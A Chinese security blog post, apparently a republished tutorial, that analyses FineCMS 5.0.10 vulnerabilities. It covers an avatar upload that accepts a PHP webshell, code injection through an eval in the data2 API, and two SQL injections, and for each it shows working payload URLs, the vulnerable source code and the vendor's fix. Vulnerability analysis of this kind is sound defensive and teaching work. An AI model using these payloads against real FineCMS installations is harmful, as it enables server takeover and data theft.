zoukankan      html  css  js  c++  java
  • 技能篇丨FineCMS 5.0.10 多个漏洞详细分析

    今天是一篇关于技能提升的文章,文章中的CMS是FineCMS,版本是5.0.10版本的几个漏洞分析,主要内容是介绍漏洞修补前和修补后的分析过程,帮助大家快速掌握该技能。

    注:篇幅较长,阅读用时约7分钟。

    任意文件上传漏洞

    1、漏洞复现

    用十六进制编辑器写一个包含一句话木马的图片,去网站注册一个账号,然后到上传头像的地方。

    抓包,修改文件后缀名为.php并发包。

     

    技能篇丨FineCMS 5.0.10 多个漏洞详细分析

     

     

    可以看到文件已经上传到/uploadfile/member/用户ID/0x0.php

     

    技能篇丨FineCMS 5.0.10 多个漏洞详细分析

     

    2、漏洞分析

    文件:

    finecms/dayrui/controllers/member/Account.php 177~244行

    /**
    * 上传头像处理
    * 传入头像压缩包,解压到指定文件夹后删除非图片文件
    */
    public function upload() {
    // 创建图片存储文件夹
    $dir = SYS_UPLOAD_PATH.'/member/'.$this->uid.'/';
    @dr_dir_delete($dir);
    !is_dir($dir) && dr_mkdirs($dir);
    if ($_POST['tx']) {
    $file = str_replace(' ', '+', $_POST['tx']);
    if (preg_match('/^(data:s*image/(w+);base64,)/', $file, $result)){
    $new_file = $dir.'0x0.'.$result[2];
    if (!@file_put_contents($new_file, base64_decode(str_replace($result[1], '', $file)))) {
    exit(dr_json(0, '目录权限不足或磁盘已满'));
    } else {
    $this->load->library('image_lib');
    $config['create_thumb'] = TRUE;
    $config['thumb_marker'] = '';
    $config['maintain_ratio'] = FALSE;
    $config['source_image'] = $new_file;
    foreach (array(30, 45, 90, 180) as $a) {
    $config['width'] = $config['height'] = $a;
    $config['new_image'] = $dir.$a.'x'.$a.'.'.$result[2];
    $this->image_lib->initialize($config);
    if (!$this->image_lib->resize()) {
    exit(dr_json(0, '上传错误:'.$this->image_lib->display_errors()));
    break;
    }
    }
    list($width, $height, $type, $attr) = getimagesize($dir.'45x45.'.$result[2]);
    !$type && exit(dr_json(0, '图片字符串不规范'));
    }
    } else {
    exit(dr_json(0, '图片字符串不规范'));
    }
    } else {
    exit(dr_json(0, '图片不存在'));
    }
    // 上传图片到服务器
    if (defined('UCSSO_API')) {
    $rt = ucsso_avatar($this->uid, file_get_contents($dir.'90x90.jpg'));
    !$rt['code'] && $this->_json(0, fc_lang('通信失败:%s', $rt['msg']));
    }
    exit('1');
    }

    在版本5.0.8中也曾存在问题,官方采用了白名单的思想进行修复,代码如下:

     if (!in_array(strtolower($result[2]), array('jpg', 'jpeg', 'png', 'gif'))) {
    exit(dr_json(0, '目录权限不足'));
    }
    ...
    $c = 0;
    if ($fp = @opendir($dir)) {
    while (FALSE !== ($file = readdir($fp))) {
    $ext = substr(strrchr($file, '.'), 1);
    if (in_array(strtolower($ext), array('jpg', 'jpeg', 'png', 'gif'))) {
    if (copy($dir.$file, $my.$file)) {
    $c++;
    }
    }
    }
    closedir($fp);
    }
    if (!$c) {
    exit(dr_json(0, fc_lang('未找到目录中的图片')));
    }

    任意代码执行漏洞

    1、漏洞复现

    auth下面的分析过程中会讲解到如何获取。

    浏览器输入:

    http://getpass1.cn/index.php?c=api&m=data2&auth=582f27d140497a9d8f048ca085b111df¶m=action=cache%20name=MEMBER.1%27];phpinfo( );$a=[%271

     

    技能篇丨FineCMS 5.0.10 多个漏洞详细分析

     

    2、漏洞分析

    这个漏洞的文件在:

    /finecms/dayrui/controllers/Api.php的data2( )

    public function data2() {
    $data = array();
    // 安全码认证
    $auth = $this->input->get('auth', true);
    if ($auth != md5(SYS_KEY)) {
    // 授权认证码不正确
    $data = array('msg' => '授权认证码不正确', 'code' => 0);
    } else {
    // 解析数据
    $cache = '';
    $param = $this->input->get('param');
    if (isset($param['cache']) && $param['cache']) {
    $cache = md5(dr_array2string($param));
    $data = $this->get_cache_data($cache);
    }
    if (!$data) {
    // list数据查询
    $data = $this->template->list_tag($param);
    $data['code'] = $data['error'] ? 0 : 1;
    unset($data['sql'], $data['pages']);
    // 缓存数据
    $cache && $this->set_cache_data($cache, $data, $param['cache']);
    }
    }
    // 接收参数
    $format = $this->input->get('format');
    $function = $this->input->get('function');
    if ($function) {
    if (!function_exists($function)) {
    $data = array('msg' => fc_lang('自定义函数'.$function.'不存在'), 'code' => 0);
    } else {
    $data = $function($data);
    }
    }
    // 页面输出
    if ($format == 'php') {
    print_r($data);
    } elseif ($format == 'jsonp') {
    // 自定义返回名称
    echo $this->input->get('callback', TRUE).'('.$this->callback_json($data).')';
    } else {
    // 自定义返回名称
    echo $this->callback_json($data);
    }
    exit;
    }

    可以看到开头这里验证了认证码:

    // 安全码认证
    $auth = $this->input->get('auth', true);
    if ($auth != md5(SYS_KEY)) {
    // 授权认证码不正确
    $data = array('msg' => '授权认证码不正确', 'code' => 0);
    } else {

    授权码在/config/system.php

     

    技能篇丨FineCMS 5.0.10 多个漏洞详细分析

     

    可以看到SYS_KEY是固定的,我们可以在Cookies找到:

    /finecms/dayrui/config/config.php

     

    技能篇丨FineCMS 5.0.10 多个漏洞详细分析

     

    用浏览器查看Cookies可以看到KEY,但是验证用MD5,所以我们需要对KEY进行处理。

     

    技能篇丨FineCMS 5.0.10 多个漏洞详细分析

     

     

    直接看到这一段,调用了Template对象里面的list_tag函数:

    if (!$data) {
    // list数据查询
    $data = $this->template->list_tag($param);
    $data['code'] = $data['error'] ? 0 : 1;
    unset($data['sql'], $data['pages']);
    // 缓存数据
    $cache && $this->set_cache_data($cache, $data, $param['cache']);
    }

    我们到finecms/dayrui/libraries/Template.php看list_tag函数的代码,这里把

    param=action=cache%20name=MEMBER.1%27];phpinfo( );$a=[%271的内容分为两个数组$var、$val,这两个数组的内容分别为:

    $var=['action','name']
    $val=['cache%20','MEMBER.1%27];phpinfo();$a=[%271']

    $cache=_cache_var是返回会员的信息。

    重点的是下面的@evai('$data=$cache'.$this->_get_var($_param).';');

    foreach ($params as $t) {
    $var = substr($t, 0, strpos($t, '='));
    $val = substr($t, strpos($t, '=') + 1);

    再看这一段,因为swtich选中的是cache,所以就不再进行下面的分析了。

    $pos = strpos($param['name'], '.');这句是为下面的substr函数做准备,为了分离出的内容为:

    $_name='MEMBER'
    $_param="1%27];phpinfo();$a=[%271"
    // action
    switch ($system['action']) {
    case 'cache': // 系统缓存数据
    if (!isset($param['name'])) {
    return $this->_return($system['return'], 'name参数不存在');
    }
    $pos = strpos($param['name'], '.');
    if ($pos !== FALSE) {
    $_name = substr($param['name'], 0, $pos);
    $_param = substr($param['name'], $pos + 1);
    } else {
    $_name = $param['name'];
    $_param = NULL;
    }
    $cache = $this->_cache_var($_name, !$system['site'] ? SITE_ID : $system['site']);
    if (!$cache) {
    return $this->_return($system['return'], "缓存({$_name})不存在,请在后台更新缓存");
    }
    if ($_param) {
    $data = array();
    @evai('$data=$cache'.$this->_get_var($_param).';');
    if (!$data) {
    return $this->_return($system['return'], "缓存({$_name})参数不存在!!");
    }
    } else {
    $data = $cache;
    }
    return $this->_return($system['return'], $data, '');
    break;

    跟踪get_var函数,在这里我们先把$param的内容假设为a,然后执行函数里面的内容,最后返回的$string的内容是:$string=['a']

    那么我们的思路就是把两边的[' ']闭合然后再放上恶意的代码。

    payload为:1'];phpinfo();$a=['1,那么返回的$string的内容:

    $string=['1'];phpinfo();$a=['1']

    public function _get_var($param) {
    $array = explode('.', $param);
    if (!$array) {
    return '';
    }
    $string = '';
    foreach ($array as $var) {
    $string.= '[';
    if (strpos($var, '$') === 0) {
    $string.= preg_replace('/[(.+)]/U', '['1']', $var);
    } elseif (preg_match('/[A-Z_]+/', $var)) {
    $string.= ''.$var.'';
    } else {
    $string.= '''.$var.''';
    }
    $string.= ']';
    }
    return $string;
    }

    修复后的_get_var函数里面多了一个dr_safe_replace过滤函数,然后data2( )删除了。

     public function _get_var($param) {
    $array = explode('.', $param);
    if (!$array) {
    return '';
    }
    $string = '';
    foreach ($array as $var) {
    $var = dr_safe_replace($var);
    $string.= '[';
    if (strpos($var, '$') === 0) {
    $string.= preg_replace('/[(.+)]/U', '['1']', $var);
    } elseif (preg_match('/[A-Z_]+/', $var)) {
    $string.= ''.$var.'';
    } else {
    $string.= '''.$var.''';
    }
    $string.= ']';
    }
    return $string;
    }

    dr_safe_replace( )

    function dr_safe_replace($string) {
    $string = str_replace('%20', '', $string);
    $string = str_replace('%27', '', $string);
    $string = str_replace('%2527', '', $string);
    $string = str_replace('*', '', $string);
    $string = str_replace('"', '"', $string);
    $string = str_replace("'", '', $string);
    $string = str_replace('"', '', $string);
    $string = str_replace(';', '', $string);
    $string = str_replace('<', '<', $string);
    $string = str_replace('>', '>', $string);
    $string = str_replace("{", '', $string);
    $string = str_replace('}', '', $string);
    return $string;
    }

    任意SQL语句执行1

    1、漏洞复现

    浏览器:

    http://getpass1.cn/index.php?c=api&m=data2&auth=582f27d140497a9d8f048ca085b111df¶m=action=sql%20sql=%27select%20version( );%27

     

    技能篇丨FineCMS 5.0.10 多个漏洞详细分析
    2、漏洞分析

    这里就不用debug模式去跟进了,如果有小伙伴对CI框架的数据库操作不熟悉的可以查阅官方文档:

    http://codeigniter.org.cn/user_guide/database/index.html

    问题一样出在:

    finecms/dayrui/controllers/Api.php中的data2( ),

    可以直接去看:

    finecms/dayrui/libraries/Template.php里面的list_tag( )函数。

    这里想说一下就是preg_match这个函数的作用,匹配过后sql是一个数组:

    array(2) {
    [0]=>
    string(23) "sql='select version();'"
    [1]=>
    string(17) "select version();"
    }

     

    技能篇丨FineCMS 5.0.10 多个漏洞详细分析

     

     

    这里判断了开头的位置是否只使用了select:

     if (stripos($sql, 'SELECT') !== 0) {
    return $this->_return($system['return'], 'SQL语句只能是SELECT查询语句');

    再往下看,这一句才是执行SQL的地方,传入sql内容和$system['site']默认是1,$system['cache'] 默认缓存时间是3600。

     $data = $this->_query($sql, $system['site'], $system['cache']);

    继续跟进_query( )函数

    public function _query($sql, $site, $cache, $all = TRUE) {
    echo $this->ci->site[$site];
    // 数据库对象
    $db = $site ? $this->ci->site[$site] : $this->ci->db;
    $cname = md5($sql.dr_now_url());
    // 缓存存在时读取缓存文件
    if ($cache && $data = $this->ci->get_cache_data($cname)) {
    return $data;
    }
    // 执行SQL
    $db->db_debug = FALSE;
    $query = $db->query($sql);
    if (!$query) {
    return 'SQL查询解析不正确:'.$sql;
    }
    // 查询结果
    $data = $all ? $query->result_array() : $query->row_array();
    // 开启缓存时,重新存储缓存数据
    $cache && $this->ci->set_cache_data($cname, $data, $cache);
    $db->db_debug = TRUE;
    return $data;
    }

    没有对函数进行任何过滤$query = $db->query($sql);,直接带入了我们的语句。

    官方的修复方法:删除了data2( )函数。

     

    任意SQL语句执行2

    1、漏洞复现

    浏览器:

    http://getpass1.cn/index.php?s=member&c=api&m=checktitle&id=1&title=1&module=news,(select%20(updatexml(1,concat(1,(select%20user( )),0x7e),1)))a

     

    技能篇丨FineCMS 5.0.10 多个漏洞详细分析

     

    2、漏洞分析

    文件在:

    finecms/dayrui/controllers/member/Api.php的checktitle( )函数:

     public function checktitle() {
    $id = (int)$this->input->get('id');
    $title = $this->input->get('title', TRUE);
    $module = $this->input->get('module');
    (!$title || !$module) && exit('');
    $num = $this->db->where('id<>', $id)->where('title', $title)->count_all_results(SITE_ID.'_'.$module);
    echo $num;
    $num ? exit(fc_lang('<font color=red>'.fc_lang('重复').'</font>')) : exit('');
    }

    其他的没什么过滤,主要是CI框架里面的一些内置方法,比如count_all_results,可以到:

    http://codeigniter.org.cn/user_guide/database/query_builder.html?highlight=count_all_results#CI_DB_query_builder::count_all_results 查看用法

    还有一个就是SITE_ID变量,它是指:

     

    技能篇丨FineCMS 5.0.10 多个漏洞详细分析

     

     

    站点是系统的核心部分,各个站点数据独立,可以设置站点分库管理。

     

    技能篇丨FineCMS 5.0.10 多个漏洞详细分析

     

     

    其他

    还有一个远程命令执行漏洞没能复现,是在api的html( )函数,说是可以用&来突破,但是evai只能用;来结束语句的结束。

    function dr_safe_replace($string) {
    $string = str_replace('%20', '', $string);
    $string = str_replace('%27', '', $string);
    $string = str_replace('%2527', '', $string);
    $string = str_replace('*', '', $string);
    $string = str_replace('"', '"', $string);
    $string = str_replace("'", '', $string);
    $string = str_replace('"', '', $string);
    $string = str_replace(';', '', $string);
    $string = str_replace('<', '<', $string);
    $string = str_replace('>', '>', $string);
    $string = str_replace("{", '', $string);
    $string = str_replace('}', '', $string);
    return $string;
    }

    以上是今天的全部内容,大家看懂了吗?

  • 相关阅读:
    root用户Linux 环境变量的配置解决(-bash: jps: command not found)有关问题
    Linux Crontab内环境变量与Shell环境变量的关系及解决问题的办法
    RocketMQ os.sh 系统优化(CentOS)
    Spring Boot修改内置Tomcat端口号
    SpringBoot多跨域请求的支持(JSONP)
    [译]Spring Boot 构建一个RESTful Web服务
    delphi怎样把子窗体显示在pagecontrol的tabsheet
    delphi从TRichEdit获得RTF格式文本(PC版本)
    数据类型表(DELPHI、C++)
    对程序进行注释
  • 原文地址:https://www.cnblogs.com/ichunqiu/p/10944669.html
Copyright © 2011-2022 走看看